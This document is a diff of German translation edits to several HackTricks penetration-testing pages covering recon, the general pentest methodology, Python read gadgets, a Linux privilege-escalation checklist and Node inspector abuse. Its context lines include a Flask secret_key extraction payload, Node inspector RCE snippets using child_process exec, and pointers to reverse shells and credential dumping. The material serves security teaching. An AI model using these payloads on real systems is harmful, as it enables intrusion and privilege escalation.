 Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen, indem Sie das Tool [**hakip2host**](https://github.com/hakluke/hakip2host) verwenden.
 
-### **Nach Schwachstellen suchen**
+### **Suche nach Schwachstellen**
 
 **Portscannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie dort höchstwahrscheinlich nichts Interessantes finden werden). In den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**.
 
-**Finden Sie einen** [**Leitfaden**](../pentesting-network/) **zum Scannen von Hosts.**
+**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **zum Scannen von Hosts.**
 
 ## Webserver-Jagd
 
-> Wir haben alle Unternehmen und ihre Assets gefunden und kennen IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen.
+> Wir haben alle Unternehmen und deren Vermögenswerte gefunden und kennen IP-Bereiche, Domains und Subdomains im Geltungsbereich. Es ist Zeit, nach Webservern zu suchen.
 
-In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
+In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Geltungsbereich sehen.
 
-Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet ist, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Scope erlaubt**).
+Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet sein wird, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Geltungsbereich erlaubt**).
 
-Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, finden Sie [**hier mit masscan**](../pentesting-network/index.html#http-port-discovery).\
-Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versuchen, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
+Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, ist [**masscan** hier zu finden](../pentesting-network/index.html#http-port-discovery).\
+Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
 ```bash
 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -557,7 +557,7 @@ Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) ver
 
 #### Github Dorks
 
-Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie auch in der Organisation, die Sie angreifen, suchen könnten:
+Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie in der Organisation, die Sie angreifen, suchen könnten:
 
 {{#ref}}
 github-leaked-secrets.md
@@ -580,7 +580,7 @@ Wenn Sie **gültige geleakte** Anmeldeinformationen oder API-Token finden, ist d
 
 ## Öffentliche Code-Schwachstellen
 
-Wenn Sie festgestellt haben, dass das Unternehmen **Open-Source-Code** hat, können Sie ihn **analysieren** und nach **Schwachstellen** darin suchen.
+Wenn Sie festgestellt haben, dass das Unternehmen **Open-Source-Code** hat, können Sie ihn **analysieren** und nach **Schwachstellen** suchen.
 
 **Je nach Sprache** gibt es verschiedene **Tools**, die Sie verwenden können:
 
@@ -592,11 +592,11 @@ Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repos
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
+## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
 
-Die **Mehrheit der Schwachstellen**, die von Bug-Jägern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Testmethodik für Webanwendungen** sprechen, und Sie können [**diese Informationen hier finden**](../../network-services-pentesting/pentesting-web/).
+Die **Mehrheit der Schwachstellen**, die von Bug-Huntern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Testmethodik für Webanwendungen** sprechen, und Sie können [**diese Informationen hier finden**](../../network-services-pentesting/pentesting-web/index.html).
 
-Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) geben, da, wenn Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
+Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) geben, da, auch wenn Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
 
 ## Rekapitulation
 
@@ -605,13 +605,13 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca
 Also haben Sie bereits:
 
 1. Alle **Unternehmen** im Geltungsbereich gefunden
-2. Alle **Ressourcen** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
+2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
 3. Alle **Domains** gefunden, die zu den Unternehmen gehören
 4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
 5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden.
 6. Alle **Webserver** gefunden und einen **Screenshot** davon gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
 7. Alle **potenziellen öffentlichen Cloud-Ressourcen** gefunden, die zu dem Unternehmen gehören.
-8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** verschaffen könnten.
+8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** bringen könnten.
 9. **Pentesting aller Webseiten, die Sie gefunden haben**
 
 ## **Vollständige Recon Automatische Tools**

src/generic-methodologies-and-resources/pentesting-methodology.md

@@ -2,7 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-
 ## Pentesting-Methodik
 
 <figure><img src="../images/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
@@ -13,14 +12,14 @@ _Hacktricks-Logos entworfen von_ [_@ppiernacho_](https://www.instagram.com/ppier
 
 Hast du **physischen Zugang** zu der Maschine, die du angreifen möchtest? Du solltest einige [**Tricks zu physischen Angriffen**](../hardware-physical-access/physical-attacks.md) und andere über [**das Entkommen aus GUI-Anwendungen**](../hardware-physical-access/escaping-from-gui-applications.md) lesen.
 
-### 1 - [Entdecken von Hosts im Netzwerk](pentesting-network/index.html#discovering-hosts)/ [Entdecken von Vermögenswerten des Unternehmens](external-recon-methodology/)
+### 1 - [Entdecken von Hosts im Netzwerk](pentesting-network/index.html#discovering-hosts)/ [Entdecken von Vermögenswerten des Unternehmens](external-recon-methodology/index.html)
 
 **Je nachdem**, ob der **Test**, den du durchführst, ein **interner oder externer Test** ist, könntest du daran interessiert sein, **Hosts im Unternehmensnetzwerk** (interner Test) oder **Vermögenswerte des Unternehmens im Internet** (externer Test) zu finden.
 
 > [!NOTE]
 > Beachte, dass du, wenn du einen externen Test durchführst, sobald du Zugang zum internen Netzwerk des Unternehmens erhalten hast, diese Anleitung neu starten solltest.
 
-### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)**
+### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/index.html) **(Intern)**
 
 **Dieser Abschnitt gilt nur, wenn du einen internen Test durchführst.**\
 Bevor du einen Host angreifst, möchtest du vielleicht **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder **Daten sniffen**, um **passiv/aktiv (MitM)** herauszufinden, was du im Netzwerk finden kannst. Du kannst [**Pentesting Network**](pentesting-network/index.html#sniffing) lesen.
@@ -39,8 +38,8 @@ Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, solltest
 
 **In diesem Buch findest du einen Leitfaden, um die häufigsten Dienste zu pentesten** (und andere, die nicht so häufig sind). **Bitte suche im linken Index nach der** _**PENTESTING**_ **Sektion** (die Dienste sind nach ihren Standardports geordnet).
 
-**Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\
-Außerdem findest du hier einen kleinen Leitfaden, wie man [**bekannte Schwachstellen in Software findet**](../generic-hacking/search-exploits.md).
+**Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **Teil hinweisen (da er der umfangreichste ist).**\
+Außerdem findest du hier einen kleinen Leitfaden, wie du [**bekannte Schwachstellen in Software finden**](../generic-hacking/search-exploits.md) kannst.
 
 **Wenn dein Dienst nicht im Index ist, suche bei Google** nach anderen Tutorials und **lass es mich wissen, wenn du möchtest, dass ich es hinzufüge.** Wenn du **nichts** bei Google finden kannst, führe dein **eigenes blindes Pentesting** durch, du könntest damit beginnen, **eine Verbindung zum Dienst herzustellen, ihn zu fuzzern und die Antworten zu lesen** (falls vorhanden).
 
@@ -52,13 +51,13 @@ Es gibt auch mehrere Werkzeuge, die **automatische Schwachstellenbewertungen** d
 
 In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dienst** zu **kompromittieren**. [**Hier findest du ein CheatSheet für das Brute-Forcing verschiedener Dienste**](../generic-hacking/brute-force.md)**.**
 
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
 
-Wenn du an diesem Punkt keine interessanten Schwachstellen gefunden hast, **musst du vielleicht einige Phishing-Versuche** unternehmen, um ins Netzwerk zu gelangen. Du kannst meine Phishing-Methodik [hier](phishing-methodology/) lesen:
+Wenn du bis zu diesem Punkt keine interessanten Schwachstellen gefunden hast, **musst du vielleicht etwas Phishing versuchen**, um ins Netzwerk zu gelangen. Du kannst meine Phishing-Methodik [hier](phishing-methodology/index.html) lesen:
 
-### **7-** [**Shell erhalten**](../generic-hacking/reverse-shells/)
+### **7-** [**Shell erhalten**](../generic-hacking/reverse-shells/index.html)
 
-Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Werkzeuge im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](../generic-hacking/reverse-shells/).
+Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Werkzeuge im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](../generic-hacking/reverse-shells/index.html).
 
 Besonders unter Windows könntest du Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfe diese Seite**](../windows-hardening/av-bypass.md)**.**\\
 
@@ -68,7 +67,7 @@ Wenn du Probleme mit der Shell hast, findest du hier eine kleine **Zusammenstell
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 
 ### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md)
 
@@ -79,25 +78,25 @@ Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwa
 #### **10.1- Lokale Privilegieneskalation**
 
 Wenn du **nicht root/Administrator** in der Box bist, solltest du einen Weg finden, um **Privilegien zu eskalieren.**\
-Hier findest du einen **Leitfaden zur lokalen Eskalation von Privilegien in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
-Du solltest auch diese Seiten über die Funktionsweise von **Windows** überprüfen:
+Hier findest du einen **Leitfaden zur lokalen Eskalation von Privilegien in** [**Linux**](../linux-hardening/privilege-escalation/index.html) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
+Du solltest auch diese Seiten darüber überprüfen, wie **Windows funktioniert**:
 
-- [**Authentifizierung, Anmeldeinformationen, Tokenprivilegien und UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Wie funktioniert [**NTLM**](../windows-hardening/ntlm/)
+- [**Authentifizierung, Anmeldeinformationen, Tokenprivilegien und UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Wie funktioniert [**NTLM**](../windows-hardening/ntlm/index.html)
 - Wie man [**Anmeldeinformationen stiehlt**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
-- Einige Tricks über [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Einige Tricks über [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 
 **Vergiss nicht, die besten Werkzeuge zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
 #### **10.2- Domain Privilegieneskalation**
 
-Hier findest du eine [**Methodik, die die häufigsten Aktionen zur Aufzählung, Eskalation von Privilegien und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess **extrem heikel** bei einem Pentesting/Red Team-Einsatz sein.
+Hier findest du eine [**Methodik, die die häufigsten Aktionen zur Aufzählung, Eskalation von Privilegien und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/index.html). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess bei einem Pentesting/Red Team-Einsatz **äußerst heikel** sein.
 
 ### 11 - POST
 
 #### **11**.1 - Plündern
 
-Überprüfe, ob du weitere **Passwörter** im Host finden kannst oder ob du **Zugang zu anderen Maschinen** mit den **Privilegien** deines **Benutzers** hast.\
+Überprüfe, ob du mehr **Passwörter** im Host finden kannst oder ob du **Zugang zu anderen Maschinen** mit den **Privilegien** deines **Benutzers** hast.\
 Hier findest du verschiedene Möglichkeiten, um [**Passwörter in Windows zu dumpen**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 
 #### 11.2 - Persistenz
@@ -111,20 +110,20 @@ TODO: Vollständige Persistenz-Post in Windows & Linux
 
 Mit den **gesammelten Anmeldeinformationen** könntest du Zugang zu anderen Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (beginne die Pentesting-Methodik erneut) in neuen Netzwerken, in denen dein Opfer verbunden ist.\
 In diesem Fall könnte Tunneling notwendig sein. Hier findest du [**einen Beitrag über Tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Du solltest auch den Beitrag über die [Pentesting-Methodik für Active Directory](../windows-hardening/active-directory-methodology/) überprüfen. Dort findest du coole Tricks, um lateral zu bewegen, Privilegien zu eskalieren und Anmeldeinformationen zu dumpen.\
-Überprüfe auch die Seite über [**NTLM**](../windows-hardening/ntlm/), sie könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.
+Du solltest auch den Beitrag über die [Pentesting-Methodik für Active Directory](../windows-hardening/active-directory-methodology/index.html) überprüfen. Dort findest du coole Tricks, um lateral zu bewegen, Privilegien zu eskalieren und Anmeldeinformationen zu dumpen.\
+Überprüfe auch die Seite über [**NTLM**](../windows-hardening/ntlm/index.html), sie könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.
 
 ### MEHR
 
-#### [Android-Anwendungen](../mobile-pentesting/android-app-pentesting/)
+#### [Android-Anwendungen](../mobile-pentesting/android-app-pentesting/index.html)
 
 #### **Exploiting**
 
-- [**Grundlegendes Linux-Exploiting**](broken-reference/)
+- [**Grundlegendes Linux-Exploiting**](broken-reference/index.html)
 - [**Grundlegendes Windows-Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Grundlegende Exploiting-Werkzeuge**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Grundlegende Exploiting-Werkzeuge**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 
-#### [**Grundlagen Python**](python/)
+#### [**Grundlegendes Python**](python/index.html)
 
 #### **Krypto-Tricks**
 
@@ -132,5 +131,4 @@ Du solltest auch den Beitrag über die [Pentesting-Methodik für Active Director
 - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-
 {{#include ../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/README.md

@@ -6,8 +6,8 @@
 
 - [**Pyscript-Hacking-Tricks**](pyscript.md)
 - [**Python-Deserialisierungen**](../../pentesting-web/deserialization/index.html#python)
-- [**Tricks zum Umgehen von Python-Sandboxes**](bypass-python-sandboxes/)
-- [**Grundlegende Python-Webanfragesyntax**](web-requests.md)
-- [**Grundlegende Python-Syntax und Bibliotheken**](basic-python.md)
+- [**Tricks zum Umgehen von Python-Sandboxes**](bypass-python-sandboxes/index.html)
+- [**Grundsyntax für Python-Webanfragen**](web-requests.md)
+- [**Grundsyntax und Bibliotheken in Python**](basic-python.md)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
 Verschiedene Schwachstellen wie [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) oder [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) könnten es Ihnen ermöglichen, **interne Python-Daten zu lesen, aber nicht, Code auszuführen**. Daher muss ein Pentester das Beste aus diesen Leseberechtigungen machen, um **sensible Berechtigungen zu erlangen und die Schwachstelle auszunutzen**.
 
@@ -13,15 +13,15 @@ Die Hauptseite einer Flask-Anwendung wird wahrscheinlich das **`app`** globale O
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
 ```
-In diesem Fall ist es möglich, auf dieses Objekt zuzugreifen, indem man einfach ein beliebiges Gadget verwendet, um **auf globale Objekte** von der [**Seite zum Umgehen von Python-Sandboxen**](bypass-python-sandboxes/) zuzugreifen.
+In diesem Fall ist es möglich, auf dieses Objekt zuzugreifen, indem man einfach ein Gadget verwendet, um **auf globale Objekte** von der [**Seite zum Umgehen von Python-Sandboxen**](bypass-python-sandboxes/index.html) zuzugreifen.
 
-Im Fall, dass **die Schwachstelle in einer anderen Python-Datei** liegt, benötigt man ein Gadget, um Dateien zu durchlaufen, um zur Hauptdatei zu gelangen, um **auf das globale Objekt `app.secret_key`** zuzugreifen, um den Flask-Geheimschlüssel zu ändern und in der Lage zu sein, [**die Berechtigungen zu eskalieren** mit diesem Schlüssel](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
+Im Fall, dass **die Schwachstelle in einer anderen Python-Datei** liegt, benötigt man ein Gadget, um Dateien zu durchlaufen, um zur Hauptdatei zu gelangen, um **auf das globale Objekt `app.secret_key`** zuzugreifen, um den Flask-Geheimschlüssel zu ändern und in der Lage zu sein, [**Privilegien zu eskalieren** mit diesem Schlüssel](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 
 Ein Payload wie dieser [aus diesem Bericht](https://ctftime.org/writeup/36082):
 ```python
 __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
 ```
-Verwenden Sie diese Payload, um **`app.secret_key`** zu ändern (der Name in Ihrer App könnte anders sein), um neue und privilegierte Flask-Cookies signieren zu können.
+Verwenden Sie diese Payload, um **`app.secret_key`** zu ändern (der Name in Ihrer App könnte anders sein), um neue und privilegiertere Flask-Cookies signieren zu können.
 
 ### Werkzeug - machine_id und node uuid
 

src/linux-hardening/linux-privilege-escalation-checklist.md

@@ -6,7 +6,7 @@
 
 ### [Systeminformationen](privilege-escalation/index.html#system-information)
 
-- [ ] **OS-Informationen** abrufen
+- [ ] **Betriebssysteminformationen** abrufen
 - [ ] Überprüfen Sie den [**PATH**](privilege-escalation/index.html#path), gibt es einen **beschreibbaren Ordner**?
 - [ ] Überprüfen Sie die [**Umgebungsvariablen**](privilege-escalation/index.html#env-info), gibt es sensible Details?
 - [ ] Suchen Sie nach [**Kernel-Exploits**](privilege-escalation/index.html#kernel-exploits) **unter Verwendung von Skripten** (DirtyCow?)
@@ -72,7 +72,7 @@
 
 - [ ] Generische Benutzer-/Gruppenumeration
 - [ ] Haben Sie eine **sehr große UID**? Ist die **Maschine** **anfällig**?
-- [ ] Können Sie [**Privilegien dank einer Gruppe**](privilege-escalation/interesting-groups-linux-pe/) erhöhen, zu der Sie gehören?
+- [ ] Können Sie [**Privilegien dank einer Gruppe**](privilege-escalation/interesting-groups-linux-pe/index.html) erhöhen, zu der Sie gehören?
 - [ ] **Zwischenablage**-Daten?
 - [ ] Passwort-Richtlinie?
 - [ ] Versuchen Sie, **jedes bekannte Passwort**, das Sie zuvor entdeckt haben, zu verwenden, um sich **mit jedem** möglichen **Benutzer** anzumelden. Versuchen Sie auch, sich ohne Passwort anzumelden.
@@ -83,11 +83,11 @@
 
 ### [SUDO- und SUID-Befehle](privilege-escalation/index.html#sudo-and-suid)
 
-- [ ] Können Sie **irgendeinen Befehl mit sudo ausführen**? Können Sie es verwenden, um als root zu LESEN, ZU SCHREIBEN oder ETWAS AUSZUFÜHREN? ([**GTFOBins**](https://gtfobins.github.io))
+- [ ] Können Sie **irgendeinen Befehl mit sudo ausführen**? Können Sie es verwenden, um als root zu LESEN, ZU SCHREIBEN oder AUSZUFÜHREN? ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] Gibt es eine **ausnutzbare SUID-Binärdatei**? ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] Sind [**sudo**-Befehle **durch den** **Pfad** **eingeschränkt**? Können Sie die Einschränkungen **umgehen**](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
 - [ ] [**Sudo/SUID-Binärdatei ohne angegebenen Pfad**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
-- [ ] [**SUID-Binärdatei mit angegebenem Pfad**](privilege-escalation/index.html#suid-binary-with-command-path)? Umgehen
+- [ ] [**SUID-Binärdatei mit Pfadangabe**](privilege-escalation/index.html#suid-binary-with-command-path)? Umgehen
 - [ ] [**LD_PRELOAD-Schwachstelle**](privilege-escalation/index.html#ld_preload)
 - [ ] [**Fehlende .so-Bibliothek in SUID-Binärdatei**](privilege-escalation/index.html#suid-binary-so-injection) aus einem beschreibbaren Ordner?
 - [ ] [**SUDO-Token verfügbar**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Können Sie ein SUDO-Token erstellen**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
@@ -118,7 +118,7 @@
 - [ ] **Profil-Dateien** - Sensible Daten lesen? In privesc schreiben?
 - [ ] **passwd/shadow-Dateien** - Sensible Daten lesen? In privesc schreiben?
 - [ ] **Überprüfen Sie häufig interessante Ordner** auf sensible Daten
-- [ ] **Seltsame Standort/besitzte Dateien,** auf die Sie möglicherweise Zugriff haben oder ausführbare Dateien ändern können
+- [ ] **Seltsame Standort/besitzende Dateien,** auf die Sie möglicherweise Zugriff haben oder ausführbare Dateien ändern können
 - [ ] **In den letzten Minuten geändert**
 - [ ] **Sqlite DB-Dateien**
 - [ ] **Versteckte Dateien**

src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -2,14 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
 [Aus den Dokumenten](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Wenn mit dem `--inspect`-Schalter gestartet, hört ein Node.js-Prozess auf einen Debugging-Client. Standardmäßig hört er auf Host und Port **`127.0.0.1:9229`**. Jeder Prozess erhält auch eine **eindeutige** **UUID**.
 
-Inspector-Clients müssen die Hostadresse, den Port und die UUID kennen und angeben, um sich zu verbinden. Eine vollständige URL sieht etwa so aus: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
+Inspector-Clients müssen die Hostadresse, den Port und die UUID kennen und angeben, um eine Verbindung herzustellen. Eine vollständige URL sieht etwa so aus: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
 
 > [!WARNING]
-> Da der **Debugger vollen Zugriff auf die Node.js-Ausführungsumgebung hat**, kann ein böswilliger Akteur, der in der Lage ist, sich mit diesem Port zu verbinden, möglicherweise beliebigen Code im Namen des Node.js-Prozesses ausführen (**potenzielle Privilegieneskalation**).
+> Da der **Debugger vollen Zugriff auf die Node.js-Ausführungsumgebung hat**, kann ein böswilliger Akteur, der in der Lage ist, eine Verbindung zu diesem Port herzustellen, möglicherweise beliebigen Code im Namen des Node.js-Prozesses ausführen (**potenzielle Privilegieneskalation**).
 
 Es gibt mehrere Möglichkeiten, einen Inspector zu starten:
 ```bash
@@ -42,7 +42,7 @@ Websites, die in einem Webbrowser geöffnet sind, können WebSocket- und HTTP-An
 
 ### Inspektor in laufenden Prozessen starten
 
-Sie können das **Signal SIGUSR1** an einen laufenden Node.js-Prozess senden, um den **Inspektor** am Standardport **zu starten**. Beachten Sie jedoch, dass Sie über ausreichende Berechtigungen verfügen müssen, sodass dies Ihnen **privilegierten Zugriff auf Informationen innerhalb des Prozesses** gewähren kann, jedoch keine direkte Privilegieneskalation darstellt.
+Sie können das **Signal SIGUSR1** an einen laufenden Node.js-Prozess senden, um den **Inspektor** im Standardport zu **starten**. Beachten Sie jedoch, dass Sie über ausreichende Berechtigungen verfügen müssen, sodass dies Ihnen **privilegierten Zugriff auf Informationen innerhalb des Prozesses** gewähren kann, jedoch keine direkte Privilegieneskalation darstellt.
 ```bash
 kill -s SIGUSR1 <nodejs-ps>
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -50,13 +50,13 @@ kill -s SIGUSR1 <nodejs-ps>
 > [!NOTE]
 > Dies ist nützlich in Containern, da **das Herunterfahren des Prozesses und das Starten eines neuen** mit `--inspect` **keine Option** ist, da der **Container** mit dem Prozess **getötet** wird.
 
-### Mit dem Inspector/Debugger verbinden
+### Mit dem Inspektor/Debugger verbinden
 
 Um sich mit einem **Chromium-basierten Browser** zu verbinden, können die URLs `chrome://inspect` oder `edge://inspect` für Chrome bzw. Edge aufgerufen werden. Durch Klicken auf die Schaltfläche Konfigurieren sollte sichergestellt werden, dass der **Zielhost und der Port** korrekt aufgeführt sind. Das Bild zeigt ein Beispiel für Remote Code Execution (RCE):
 
 ![](<../../images/image (674).png>)
 
-Mit der **Befehlszeile** können Sie sich mit einem Debugger/Inspector verbinden mit:
+Mit der **Befehlszeile** können Sie sich mit einem Debugger/Inspektor verbinden mit:
 ```bash
 node inspect <ip>:<port>
 node inspect 127.0.0.1:9229
@@ -75,12 +75,12 @@ Das Tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd
 > [!NOTE]
 > Beachten Sie, dass **NodeJS RCE-Exploits nicht funktionieren**, wenn Sie über [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) mit einem Browser verbunden sind (Sie müssen die API überprüfen, um interessante Dinge damit zu tun).
 
-## RCE im NodeJS Debugger/Inspector
+## RCE im NodeJS Debugger/Inspektor
 
 > [!NOTE]
-> Wenn Sie hierher gekommen sind, um zu erfahren, wie man [**RCE aus einem XSS in Electron erhält, überprüfen Sie bitte diese Seite.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Wenn Sie hierher gekommen sind, um zu erfahren, wie man [**RCE aus einem XSS in Electron erhält, überprüfen Sie bitte diese Seite.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 
-Einige gängige Möglichkeiten, um **RCE** zu erhalten, wenn Sie sich mit einem Node **inspector** verbinden können, sind die Verwendung von etwas wie (es scheint, dass dies **bei einer Verbindung zum Chrome DevTools-Protokoll nicht funktionieren wird**):
+Einige gängige Möglichkeiten, **RCE** zu erhalten, wenn Sie sich mit einem Node **Inspektor** verbinden können, sind die Verwendung von etwas wie (es scheint, dass dies **bei einer Verbindung zum Chrome DevTools-Protokoll nicht funktioniert**):
 ```javascript
 process.mainModule.require("child_process").exec("calc")
 window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
@@ -94,9 +94,9 @@ In diesem Abschnitt werde ich nur interessante Dinge auflisten, die ich gefunden
 
 ### Parameter Injection via Deep Links
 
